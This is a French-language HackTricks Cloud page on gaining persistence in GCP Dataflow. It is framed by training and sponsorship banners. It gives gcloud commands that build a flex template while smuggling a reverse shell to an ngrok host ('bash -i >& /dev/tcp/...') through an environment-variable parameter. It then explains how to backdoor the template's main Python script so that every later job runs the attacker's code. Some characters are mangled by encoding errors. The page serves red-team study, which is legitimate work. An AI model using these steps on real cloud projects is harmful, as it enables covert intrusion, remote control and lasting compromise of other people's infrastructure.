GCP - Dataflow Persistance
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Dataflow
Persistance invisible dans le conteneur construit
En suivant le tutoriel de la documentation vous pouvez créer un nouveau flex template (par exemple python) :
Créer un Dataflow flex template avec backdoor
```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_startedCreate repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY
Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT
ârepository-format=docker
âlocation=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev
Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
âimage-gcr-path âus-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latestâ
âsdk-language âPYTHONâ
âflex-template-base-image âPYTHON3â
âmetadata-file âmetadata.jsonâ
âpy-path â.â
âenv âFLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.pyâ
âenv âFLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txtâ
âenv âPYTHONWARNINGS=all:0:antigravity.x:0:0â
âenv â/bin/bash -c âbash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1â & #%sâ
âregion=us-central1
</details>
**Pendant la construction, vous obtiendrez une reverse shell** (vous pouvez abuser des env variables comme dans l'exemple précédent ou d'autres paramÚtres qui configurent le Docker file pour exécuter des choses arbitraires). à ce moment-là , depuis la reverse shell, il est possible de **se rendre dans le répertoire `/template` et modifier le code du script python principal qui sera exécuté (dans notre exemple il s'agit de `getting_started.py`)**. Installez votre backdoor ici afin qu'à chaque exécution du job, elle soit exécutée.
Alors, la prochaine fois que le job sera exécuté, le container compromis construit sera lancé :
<details>
<summary>Run Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

